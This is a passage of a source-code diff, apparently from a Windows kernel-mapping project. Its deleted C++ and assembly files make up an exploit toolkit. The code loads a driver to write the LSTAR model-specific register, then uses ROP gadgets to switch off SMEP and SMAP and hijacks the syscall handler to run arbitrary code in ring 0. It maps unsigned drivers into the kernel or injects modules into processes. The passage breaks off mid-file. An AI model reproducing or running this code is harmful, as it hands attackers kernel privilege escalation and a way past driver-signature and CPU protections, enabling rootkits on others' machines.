||||
return {};
|
||||
|
||||
for (auto i = 0u; i < loaded_module_sz / 8u; i++)
|
||||
{
|
||||
wchar_t file_name[MAX_PATH] = L"";
|
||||
if (!GetModuleFileNameExW(phandle,
|
||||
loaded_modules.get()[i], file_name, _countof(file_name)))
|
||||
continue;
|
||||
|
||||
if ((result = reinterpret_cast<std::uintptr_t>(
|
||||
GetProcAddress(LoadLibraryW(file_name), symbol_name))))
|
||||
break;
|
||||
}
|
||||
|
||||
symbol_table[symbol_name] = result;
|
||||
return result;
|
||||
}
|
||||
|
||||
return symbol_table[symbol_name];
|
||||
};
|
||||
|
||||
theo::client mapper(client_socket, packet, { _alloc, _memcpy, _resolver });
|
||||
std::printf("[+] streaming module...\n");
|
||||
|
||||
const auto module_entry =
|
||||
reinterpret_cast<LPTHREAD_START_ROUTINE>(
|
||||
mapper.handle());
|
||||
|
||||
std::printf("[+] module entry -> 0x%p\n", module_entry);
|
||||
if (module_entry)
|
||||
{
|
||||
std::uint32_t tid = 0u;
|
||||
CreateRemoteThread(phandle, NULL,
|
||||
NULL, module_entry, NULL, NULL, (LPDWORD)&tid);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case theo::theo_file_type::demo_drv:
|
||||
{
|
||||
std::uint32_t maps_offset = 0u;
|
||||
std::vector<std::pair<std::string, map_symbols_t>> extern_symbols;
|
||||
|
||||
for (auto idx = 5; idx < argc; ++idx)
|
||||
{
|
||||
if (!strcmp(argv[idx], "--maps"))
|
||||
{
|
||||
maps_offset = idx + 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (maps_offset)
|
||||
{
|
||||
for (auto idx = maps_offset; idx <= argc - 1; ++idx)
|
||||
{
|
||||
extern_symbols.push_back
|
||||
({
|
||||
std::filesystem::path(argv[idx]).stem().string(),
|
||||
get_map_symbols(argv[idx])
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
std::printf("[+] number of map files = %d\n", extern_symbols.size());
|
||||
for (auto idx = 0u; idx < extern_symbols.size(); ++idx)
|
||||
std::printf("[+] %s number of symbols = %d\n",
|
||||
extern_symbols[idx].first.c_str(), extern_symbols[idx].second.size());
|
||||
|
||||
theo::resolve_symbol_t _kresolver =
|
||||
[&, &extern_symbols = extern_symbols](const char* symbol_name) -> std::uintptr_t
|
||||
{
|
||||
std::uintptr_t result = 0u;
|
||||
utils::kmodule::each_module
|
||||
(
|
||||
[&](PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool
|
||||
{
|
||||
const auto drv_name =
|
||||
reinterpret_cast<const char*>(
|
||||
drv_info->OffsetToFileName + drv_info->FullPathName);
|
||||
|
||||
// false if we found the symbol...
|
||||
return (!(result = utils::kmodule::get_export(drv_name, symbol_name)));
|
||||
}
|
||||
);
|
||||
|
||||
if (!result)
|
||||
{
|
||||
for (auto& [drv_name, drv_symbols] : extern_symbols)
|
||||
{
|
||||
// each kernel module... find a driver with a matching map file name...
|
||||
// I.E ntoskrnl.exe.map == ntoskrnl.exe...
|
||||
utils::kmodule::each_module
|
||||
(
|
||||
[&, &drv_name = drv_name, &drv_symbols = drv_symbols]
|
||||
(PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool
|
||||
{
|
||||
const auto _drv_name =
|
||||
reinterpret_cast<const char*>(
|
||||
drv_info->OffsetToFileName + drv_info->FullPathName);
|
||||
|
||||
// if this is the driver, load it, loop over its sections
|
||||
// calc the absolute virtual address of the symbol...
|
||||
if (!strcmp(_drv_name, drv_name.c_str()))
|
||||
{
|
||||
const auto drv_load_addr =
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
LoadLibraryExA(drv_path, NULL, DONT_RESOLVE_DLL_REFERENCES));
|
||||
|
||||
std::uint32_t section_count = 1u;
|
||||
utils::pe::each_section
|
||||
(
|
||||
[&, &drv_symbols = drv_symbols]
|
||||
(PIMAGE_SECTION_HEADER section_header, std::uintptr_t img_base) -> bool
|
||||
{
|
||||
if (section_count == drv_symbols[symbol_name].first)
|
||||
{
|
||||
result = reinterpret_cast<std::uintptr_t>(drv_info->ImageBase) +
|
||||
section_header->VirtualAddress + drv_symbols[symbol_name].second;
|
||||
|
||||
// we found the symbol...
|
||||
return false;
|
||||
}
|
||||
|
||||
++section_count;
|
||||
// keep going over sections...
|
||||
return true;
|
||||
}, drv_load_addr
|
||||
);
|
||||
}
|
||||
|
||||
// keep looping over modules until we resolve the symbol...
|
||||
return !result;
|
||||
}
|
||||
);
|
||||
|
||||
// if we found the symbol then break out of the loop... else keep looping...
|
||||
if (result) break;
|
||||
}
|
||||
}
|
||||
|
||||
// finally return the result...
|
||||
return result;
|
||||
};
|
||||
|
||||
for (auto idx = 0u; idx < argc; ++idx)
|
||||
{
|
||||
if (!strcmp(argv[idx], "--MSREXEC"))
|
||||
{
|
||||
const auto [drv_handle, drv_key, drv_status] = msrexec::load_drv();
|
||||
if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
|
||||
return -1;
|
||||
}
|
||||
|
||||
writemsr_t _write_msr =
|
||||
[&](std::uint32_t key, std::uint64_t value) -> bool
|
||||
{
|
||||
return msrexec::writemsr(key, value);
|
||||
};
|
||||
|
||||
vdm::msrexec_ctx msrexec(_write_msr);
|
||||
|
||||
theo::malloc_t _kalloc =
|
||||
[&](std::size_t size, std::uint32_t prot) -> void*
|
||||
{
|
||||
void* alloc_base;
|
||||
msrexec.exec
|
||||
(
|
||||
[&](void* krnl_base, get_system_routine_t get_kroutine) -> void
|
||||
{
|
||||
using ex_alloc_pool_t =
|
||||
void* (*)(std::uint32_t, std::size_t);
|
||||
|
||||
const auto ex_alloc_pool =
|
||||
reinterpret_cast<ex_alloc_pool_t>(
|
||||
get_kroutine(krnl_base, "ExAllocatePool"));
|
||||
|
||||
alloc_base = ex_alloc_pool(NULL, size);
|
||||
}
|
||||
);
|
||||
return alloc_base;
|
||||
};
|
||||
|
||||
theo::memcpy_t _kmemcpy =
|
||||
[&](void* dest, const void* src, std::size_t size) -> void*
|
||||
{
|
||||
void* result = nullptr;
|
||||
msrexec.exec
|
||||
(
|
||||
[&](void* krnl_base, get_system_routine_t get_kroutine) -> void
|
||||
{
|
||||
const auto kmemcpy =
|
||||
reinterpret_cast<decltype(&memcpy)>(
|
||||
get_kroutine(krnl_base, "memcpy"));
|
||||
|
||||
result = kmemcpy(dest, src, size);
|
||||
}
|
||||
);
|
||||
return result;
|
||||
};
|
||||
|
||||
theo::client mapper(client_socket, packet, { _kalloc, _kmemcpy, _kresolver });
|
||||
std::printf("[+] streaming kernel module...\n");
|
||||
|
||||
const auto module_entry =
|
||||
reinterpret_cast<LPTHREAD_START_ROUTINE>(
|
||||
mapper.handle());
|
||||
|
||||
std::printf("[+] driver entry -> 0x%p\n", module_entry);
|
||||
std::getchar();
|
||||
|
||||
if (module_entry)
|
||||
{
|
||||
int result;
|
||||
msrexec.exec([&result, drv_entry = module_entry]
|
||||
(void* krnl_base, get_system_routine_t get_kroutine) -> void
|
||||
{
|
||||
using drv_entry_t = int(*)();
|
||||
result = reinterpret_cast<drv_entry_t>(drv_entry)();
|
||||
});
|
||||
}
|
||||
|
||||
const auto unload_status = msrexec::unload_drv(drv_handle, drv_key);
|
||||
if (unload_status != STATUS_SUCCESS)
|
||||
{
|
||||
std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status);
|
||||
return -1;
|
||||
}
|
||||
break;
|
||||
}
|
||||
else if (!strcmp(argv[idx], "--VDM"))
|
||||
{
|
||||
const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
|
||||
if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// read physical memory using the driver...
|
||||
vdm::read_phys_t _read_phys =
|
||||
[&](void* addr, void* buffer, std::size_t size) -> bool
|
||||
{
|
||||
return vdm::read_phys(addr, buffer, size);
|
||||
};
|
||||
|
||||
// write physical memory using the driver...
|
||||
vdm::write_phys_t _write_phys =
|
||||
[&](void* addr, void* buffer, std::size_t size) -> bool
|
||||
{
|
||||
return vdm::write_phys(addr, buffer, size);
|
||||
};
|
||||
|
||||
// use VDM to syscall into ExAllocatePool...
|
||||
vdm::vdm_ctx vdm(_read_phys, _write_phys);
|
||||
|
||||
theo::malloc_t _kalloc =
|
||||
[&](std::size_t size, std::uint32_t prot) -> void*
|
||||
{
|
||||
using ex_alloc_pool_t =
|
||||
void* (*)(std::uint32_t, std::uint32_t);
|
||||
|
||||
static const auto ex_alloc_pool =
|
||||
reinterpret_cast<void*>(
|
||||
utils::kmodule::get_export(
|
||||
"ntoskrnl.exe", "ExAllocatePool"));
|
||||
|
||||
return vdm.syscall<ex_alloc_pool_t>(ex_alloc_pool, NULL, size);
|
||||
};
|
||||
|
||||
// use VDM to syscall into memcpy exported by ntoskrnl.exe...
|
||||
theo::memcpy_t _kmemcpy =
|
||||
[&](void* dest, const void* src, std::size_t size) -> void*
|
||||
{
|
||||
static const auto kmemcpy =
|
||||
reinterpret_cast<void*>(
|
||||
utils::kmodule::get_export(
|
||||
"ntoskrnl.exe", "memcpy"));
|
||||
|
||||
return vdm.syscall<decltype(&memcpy)>(kmemcpy, dest, src, size);
|
||||
};
|
||||
|
||||
theo::client mapper(client_socket, packet, { _kalloc, _kmemcpy, _kresolver });
|
||||
|
||||
const auto module_entry =
|
||||
reinterpret_cast<LPTHREAD_START_ROUTINE>(
|
||||
mapper.handle());
|
||||
|
||||
std::printf("[+] driver entry -> 0x%p\n", module_entry);
|
||||
std::getchar();
|
||||
|
||||
if (module_entry)
|
||||
{
|
||||
// call driver entry... its up to you to do this using whatever method...
|
||||
// with VDM you can syscall into it... with msrexec you will use msrexec::exec...
|
||||
const auto entry_result =
|
||||
vdm.syscall<NTSTATUS(*)()>(
|
||||
reinterpret_cast<void*>(module_entry));
|
||||
}
|
||||
|
||||
const auto unload_status = vdm::unload_drv(drv_handle, drv_key);
|
||||
if (unload_status != STATUS_SUCCESS)
|
||||
{
|
||||
std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status);
|
||||
return -1;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
std::printf("[!] invalid demo file option...\n");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
std::printf("[+] press enter to close...\n");
|
||||
std::getchar();
|
||||
}
|
File diff suppressed because it is too large
Load Diff
@ -1,194 +0,0 @@
|
||||
#include "msrexec.hpp"
|
||||
|
||||
void msrexec_handler(callback_t* callback)
|
||||
{
|
||||
// restore LSTAR....
|
||||
__writemsr(IA32_LSTAR_MSR, m_system_call);
|
||||
|
||||
// call usermode code...
|
||||
(*callback)(ntoskrnl_base, get_system_routine);
|
||||
}
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
|
||||
: wrmsr(wrmsr)
|
||||
{
|
||||
if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget)
|
||||
if (!find_gadgets())
|
||||
DBG_PRINT("> failed to find gadgets...\n");
|
||||
|
||||
if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call)
|
||||
if (!find_globals())
|
||||
DBG_PRINT("> failed to find globals...\n");
|
||||
|
||||
cpuid_eax_01 cpuid_info;
|
||||
__cpuid((int*)&cpuid_info, 1);
|
||||
|
||||
cpuid_eax_07 cpuid_features;
|
||||
__cpuid((int*)&cpuid_features, 7);
|
||||
|
||||
cr4 cr4_value{};
|
||||
cr4_value.debugging_extensions = true;
|
||||
cr4_value.page_size_extensions = true;
|
||||
cr4_value.machine_check_enable = true;
|
||||
|
||||
cr4_value.physical_address_extension =
|
||||
cpuid_info.cpuid_feature_information_edx.physical_address_extension;
|
||||
|
||||
cr4_value.os_fxsave_fxrstor_support =
|
||||
cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions;
|
||||
|
||||
cr4_value.os_xmm_exception_support = true;
|
||||
|
||||
cr4_value.fsgsbase_enable =
|
||||
IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE);
|
||||
|
||||
cr4_value.os_xsave =
|
||||
IsProcessorFeaturePresent(PF_XSAVE_ENABLED);
|
||||
|
||||
cr4_value.pcid_enable =
|
||||
cpuid_info.cpuid_feature_information_ecx
|
||||
.process_context_identifiers;
|
||||
|
||||
m_smep_off.flags = cr4_value.flags;
|
||||
m_smep_off.smep_enable = false;
|
||||
m_smep_off.smap_enable = false; // newer cpus have this on...
|
||||
|
||||
// WARNING: some virtual machines dont have SMEP...
|
||||
// my VMWare VM doesnt... nor does my Virtual Box VM...
|
||||
m_smep_on.flags = cr4_value.flags;
|
||||
m_smep_on.smep_enable = cpuid_features.ebx.smep;
|
||||
m_smep_on.smap_enable = cpuid_features.ebx.smap;
|
||||
|
||||
ntoskrnl_base =
|
||||
reinterpret_cast<void*>(
|
||||
utils::kmodule::get_base("ntoskrnl.exe"));
|
||||
|
||||
get_system_routine =
|
||||
reinterpret_cast<get_system_routine_t>(
|
||||
utils::kmodule::get_export(
|
||||
"ntoskrnl.exe", "RtlFindExportedRoutineByName"));
|
||||
}
|
||||
|
||||
auto msrexec_ctx::find_gadgets() -> bool
|
||||
{
|
||||
m_mov_cr4_gadget =
|
||||
utils::rop::find_kgadget(
|
||||
MOV_CR4_GADGET, "xxxx");
|
||||
|
||||
if (!m_mov_cr4_gadget)
|
||||
return {};
|
||||
|
||||
m_sysret_gadget =
|
||||
utils::rop::find_kgadget(
|
||||
SYSRET_GADGET, "xxx");
|
||||
|
||||
if (!m_sysret_gadget)
|
||||
return {};
|
||||
|
||||
m_pop_rcx_gadget =
|
||||
utils::rop::find_kgadget(
|
||||
POP_RCX_GADGET, "xx");
|
||||
|
||||
if (!m_pop_rcx_gadget)
|
||||
return {};
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
auto msrexec_ctx::find_globals() -> bool
|
||||
{
|
||||
const auto [section_data, section_rva] =
|
||||
utils::pe::get_section(
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
LoadLibraryA("ntoskrnl.exe")), ".text");
|
||||
|
||||
const auto ki_system_call =
|
||||
utils::scan(reinterpret_cast<std::uintptr_t>(
|
||||
section_data.data()), section_data.size(),
|
||||
KI_SYSCALL_SIG, KI_SYSCALL_MASK);
|
||||
|
||||
if (!ki_system_call)
|
||||
return {};
|
||||
|
||||
m_system_call = (ki_system_call -
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
section_data.data())) + section_rva +
|
||||
utils::kmodule::get_base("ntoskrnl.exe");
|
||||
|
||||
/*
|
||||
.text:0000000140406CC0 KiSystemCall64
|
||||
.text:0000000140406CC0 0F 01 F8 swapgs
|
||||
.text:0000000140406CC3 65 48 89 24 25 10 00 00 00 mov gs:10h, rsp <====== + 8 bytes for gs offset...
|
||||
.text:0000000140406CCC 65 48 8B 24 25 A8 01 00 00 mov rsp, gs:1A8h <======= + 17 bytes for gs offset...
|
||||
*/
|
||||
|
||||
m_kpcr_rsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 8);
|
||||
m_kpcr_krsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 17);
|
||||
|
||||
// handle KVA shadowing... if KVA shadowing is
|
||||
// enabled LSTAR will point at KiSystemCall64Shadow...
|
||||
SYSTEM_KERNEL_VA_SHADOW_INFORMATION kva_info = { 0 };
|
||||
|
||||
// if SystemKernelVaShadowInformation is not a valid class just
|
||||
// return true and assume LSTAR points to KiSystemCall64...
|
||||
if (NT_SUCCESS(NtQuerySystemInformation(SystemKernelVaShadowInformation, &kva_info, sizeof(kva_info), nullptr)))
|
||||
{
|
||||
if (kva_info.KvaShadowFlags.KvaShadowEnabled)
|
||||
{
|
||||
const auto [section_data, section_rva] =
|
||||
utils::pe::get_section(
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
LoadLibraryA("ntoskrnl.exe")), "KVASCODE");
|
||||
|
||||
// no KVASCODE section so there is no way for LSTAR to be KiSystemCall64Shadow...
|
||||
if (!section_rva || section_data.empty())
|
||||
return true;
|
||||
|
||||
const auto ki_system_shadow_call =
|
||||
utils::scan(reinterpret_cast<std::uintptr_t>(
|
||||
section_data.data()), section_data.size(),
|
||||
KI_SYSCALL_SHADOW_SIG, KI_SYSCALL_SHADOW_MASK);
|
||||
|
||||
// already set m_syscall_call so we just return true...
|
||||
if (!ki_system_shadow_call)
|
||||
return true;
|
||||
|
||||
// else we update m_system_call with KiSystemCall64Shadow...
|
||||
m_system_call = (ki_system_shadow_call -
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
section_data.data())) + section_rva +
|
||||
utils::kmodule::get_base("ntoskrnl.exe");
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void msrexec_ctx::exec(callback_t kernel_callback)
|
||||
{
|
||||
const thread_info_t thread_info =
|
||||
{
|
||||
GetPriorityClass(GetCurrentProcess()),
|
||||
GetThreadPriority(GetCurrentThread())
|
||||
};
|
||||
|
||||
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
|
||||
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
|
||||
|
||||
// set LSTAR to first rop gadget... race begins here...
|
||||
wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget);
|
||||
|
||||
// go go gadget kernel execution...
|
||||
syscall_wrapper(&kernel_callback);
|
||||
|
||||
SetPriorityClass(GetCurrentProcess(), thread_info.first);
|
||||
SetThreadPriority(GetCurrentThread(), thread_info.second);
|
||||
}
|
||||
|
||||
void msrexec_ctx::set_wrmsr(writemsr_t wrmsr)
|
||||
{ this->wrmsr = wrmsr; }
|
||||
|
||||
auto msrexec_ctx::get_wrmsr() -> writemsr_t const
|
||||
{ return this->wrmsr; }
|
||||
}
|
@ -1,43 +0,0 @@
|
||||
#pragma once
|
||||
#include "../utils.hpp"
|
||||
#include "syscall_handler.h"
|
||||
#include <intrin.h>
|
||||
|
||||
#define IA32_LSTAR_MSR 0xC0000082
|
||||
#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3"
|
||||
#define POP_RCX_GADGET "\x59\xc3"
|
||||
#define SYSRET_GADGET "\x48\x0F\x07"
|
||||
|
||||
// not sure how far back this signature goes... works on 1507 though....
|
||||
#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
|
||||
#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
|
||||
static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
|
||||
|
||||
#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC"
|
||||
#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx"
|
||||
static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK);
|
||||
|
||||
using get_system_routine_t = void* (*)(void*, const char*);
|
||||
using callback_t = std::function<void(void*, get_system_routine_t)>;
|
||||
using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
|
||||
using writemsr_t = std::function<bool(std::uint32_t, std::uintptr_t)>;
|
||||
|
||||
extern "C" void msrexec_handler(callback_t* callback);
|
||||
inline get_system_routine_t get_system_routine = nullptr;
|
||||
inline void* ntoskrnl_base = nullptr;
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
class msrexec_ctx
|
||||
{
|
||||
public:
|
||||
explicit msrexec_ctx(writemsr_t wrmsr);
|
||||
void exec(callback_t kernel_callback);
|
||||
void set_wrmsr(writemsr_t wrmsr);
|
||||
auto get_wrmsr() -> writemsr_t const;
|
||||
private:
|
||||
auto find_gadgets() -> bool;
|
||||
auto find_globals() -> bool;
|
||||
writemsr_t wrmsr;
|
||||
};
|
||||
}
|
File diff suppressed because it is too large
Load Diff
@ -1,90 +0,0 @@
|
||||
extern msrexec_handler : proc
|
||||
|
||||
.data
|
||||
; offsets into _KPCR/_KPRCB
|
||||
m_kpcr_rsp_offset dq 0h
|
||||
m_kpcr_krsp_offset dq 0h
|
||||
m_system_call dq 0h
|
||||
|
||||
m_mov_cr4_gadget dq 0h
|
||||
m_sysret_gadget dq 0h
|
||||
m_pop_rcx_gadget dq 0h
|
||||
|
||||
m_smep_on dq 0h
|
||||
m_smep_off dq 0h
|
||||
|
||||
public m_smep_on
|
||||
public m_smep_off
|
||||
|
||||
public m_kpcr_rsp_offset
|
||||
public m_kpcr_krsp_offset
|
||||
|
||||
public m_pop_rcx_gadget
|
||||
public m_mov_cr4_gadget
|
||||
public m_sysret_gadget
|
||||
public m_system_call
|
||||
|
||||
.code
|
||||
syscall_handler proc
|
||||
swapgs ; swap gs to kernel gs (_KPCR...)
|
||||
|
||||
mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB
|
||||
mov gs:[rax], rsp
|
||||
|
||||
mov rax, m_kpcr_krsp_offset ; load kernel rsp....
|
||||
mov rsp, gs:[rax]
|
||||
|
||||
push rcx ; push RIP
|
||||
push r11 ; push EFLAGS
|
||||
|
||||
mov rcx, r10 ; swapped by syscall instruction so we switch it back...
|
||||
sub rsp, 020h
|
||||
call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...)
|
||||
add rsp, 020h
|
||||
|
||||
pop r11 ; pop EFLAGS
|
||||
pop rcx ; pop RIP
|
||||
|
||||
mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack...
|
||||
mov rsp, gs:[rax]
|
||||
|
||||
swapgs ; swap back to TIB...
|
||||
ret
|
||||
syscall_handler endp
|
||||
|
||||
syscall_wrapper proc
|
||||
push r10 ; syscall puts RIP into rcx...
|
||||
pushfq
|
||||
|
||||
mov r10, rcx ; swap r10 and rcx...
|
||||
push m_sysret_gadget ; REX.W prefixed...
|
||||
|
||||
lea rax, finish ; preserved value of RIP by putting it on the stack here...
|
||||
push rax ;
|
||||
|
||||
push m_pop_rcx_gadget ; gadget to put RIP back into rcx...
|
||||
push m_mov_cr4_gadget ; turn smep back on...
|
||||
|
||||
push m_smep_on ; value of CR4 with smep off...
|
||||
push m_pop_rcx_gadget ;
|
||||
|
||||
lea rax, syscall_handler ; rop to syscall_handler to handle the syscall...
|
||||
push rax ;
|
||||
|
||||
push m_mov_cr4_gadget ; disable smep...
|
||||
push m_smep_off ;
|
||||
|
||||
pushfq ; THANK YOU DREW YOU SAVED THE PROJECT!!!
|
||||
pop rax ; this will set the AC flag in EFLAGS which "disables SMAP"...
|
||||
or rax, 040000h ;
|
||||
push rax ;
|
||||
popfq ;
|
||||
|
||||
syscall ; LSTAR points at a pop rcx gadget...
|
||||
; it will put m_smep_off into rcx...
|
||||
finish:
|
||||
popfq ; restore EFLAGS...
|
||||
pop r10 ; restore r10...
|
||||
ret
|
||||
syscall_wrapper endp
|
||||
end
|
@ -1,14 +0,0 @@
|
||||
#pragma once
|
||||
#include "ia32.hpp"
|
||||
|
||||
extern "C" std::uint32_t m_kpcr_rsp_offset;
|
||||
extern "C" std::uint32_t m_kpcr_krsp_offset;
|
||||
|
||||
extern "C" std::uintptr_t m_pop_rcx_gadget;
|
||||
extern "C" std::uintptr_t m_mov_cr4_gadget;
|
||||
extern "C" std::uintptr_t m_sysret_gadget;
|
||||
|
||||
extern "C" cr4 m_smep_on;
|
||||
extern "C" cr4 m_smep_off;
|
||||
extern "C" std::uintptr_t m_system_call;
|
||||
extern "C" void syscall_wrapper(...);
|
@ -1,66 +0,0 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <cstdint>
|
||||
|
||||
#include "../loadup.hpp"
|
||||
#include "raw_driver.hpp"
|
||||
#define IOCTL_WRMSR 0x229384
|
||||
|
||||
#pragma pack (push, 1)
|
||||
typedef struct _write_msr_t
|
||||
{
|
||||
std::uint32_t reg;
|
||||
std::uintptr_t value;
|
||||
} write_msr_t, * pwrite_msr_t;
|
||||
#pragma pack (pop)
|
||||
|
||||
namespace msrexec
|
||||
{
|
||||
inline HANDLE drv_handle;
|
||||
inline auto load_drv() -> std::tuple<HANDLE, std::string, NTSTATUS>
|
||||
{
|
||||
const auto [result, key] =
|
||||
driver::load(
|
||||
msrexec::raw_driver,
|
||||
sizeof msrexec::raw_driver
|
||||
);
|
||||
|
||||
if (result != STATUS_SUCCESS)
|
||||
return { {}, {}, result };
|
||||
|
||||
std::string symlink("\\\\.\\" + key);
|
||||
drv_handle = CreateFileA(
|
||||
symlink.c_str(),
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
NULL,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
return { drv_handle, key, result };
|
||||
}
|
||||
|
||||
inline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS
|
||||
{
|
||||
if (!CloseHandle(drv_handle))
|
||||
return STATUS_FAIL_CHECK;
|
||||
|
||||
return driver::unload(drv_key);
|
||||
}
|
||||
|
||||
inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> bool
|
||||
{
|
||||
std::uint32_t bytes_handled;
|
||||
write_msr_t io_data{ reg, value };
|
||||
|
||||
return DeviceIoControl
|
||||
(
|
||||
drv_handle, IOCTL_WRMSR,
|
||||
&io_data, sizeof io_data,
|
||||
&io_data, sizeof io_data,
|
||||
(LPDWORD)&bytes_handled, nullptr
|
||||
);
|
||||
}
|
||||
}
|
@ -1,494 +0,0 @@
|
||||
/*
|
||||
WARNING: utils.hpp must be the first file included...
|
||||
this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS...
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <ntstatus.h>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
#include <fstream>
|
||||
#include <functional>
|
||||
#include <cstdint>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <map>
|
||||
|
||||
#define PAGE_4KB 0x1000
|
||||
inline bool dbg_print = true;
|
||||
#define DBG_PRINT(format, ...) \
|
||||
if (dbg_print) std::printf(format, __VA_ARGS__ )
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULE_INFORMATION
|
||||
{
|
||||
HANDLE Section;
|
||||
PVOID MappedBase;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT OffsetToFileName;
|
||||
UCHAR FullPathName[256];
|
||||
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULES
|
||||
{
|
||||
ULONG NumberOfModules;
|
||||
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
|
||||
|
||||
#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196
|
||||
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
|
||||
{
|
||||
struct
|
||||
{
|
||||
ULONG KvaShadowEnabled : 1;
|
||||
ULONG KvaShadowUserGlobal : 1;
|
||||
ULONG KvaShadowPcid : 1;
|
||||
ULONG KvaShadowInvpcid : 1;
|
||||
ULONG KvaShadowRequired : 1;
|
||||
ULONG KvaShadowRequiredAvailable : 1;
|
||||
ULONG InvalidPteBit : 6;
|
||||
ULONG L1DataCacheFlushSupported : 1;
|
||||
ULONG L1TerminalFaultMitigationPresent : 1;
|
||||
ULONG Reserved : 18;
|
||||
} KvaShadowFlags;
|
||||
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
|
||||
|
||||
namespace utils
|
||||
{
|
||||
inline std::map<std::uintptr_t, std::size_t> pmem_ranges{};
|
||||
__forceinline auto is_valid(std::uintptr_t addr) -> bool
|
||||
{
|
||||
for (auto range : pmem_ranges)
|
||||
if (addr >= range.first && addr <= range.first + range.second)
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
#pragma pack (push, 1)
|
||||
struct PhysicalMemoryPage//CM_PARTIAL_RESOURCE_DESCRIPTOR
|
||||
{
|
||||
uint8_t type;
|
||||
uint8_t shareDisposition;
|
||||
uint16_t flags;
|
||||
uint64_t pBegin;
|
||||
uint32_t sizeButNotExactly;
|
||||
uint32_t pad;
|
||||
|
||||
static constexpr uint16_t cm_resource_memory_large_40{ 0x200 };
|
||||
static constexpr uint16_t cm_resource_memory_large_48{ 0x400 };
|
||||
static constexpr uint16_t cm_resource_memory_large_64{ 0x800 };
|
||||
|
||||
uint64_t size()const noexcept
|
||||
{
|
||||
if (flags & cm_resource_memory_large_40)
|
||||
return uint64_t{ sizeButNotExactly } << 8;
|
||||
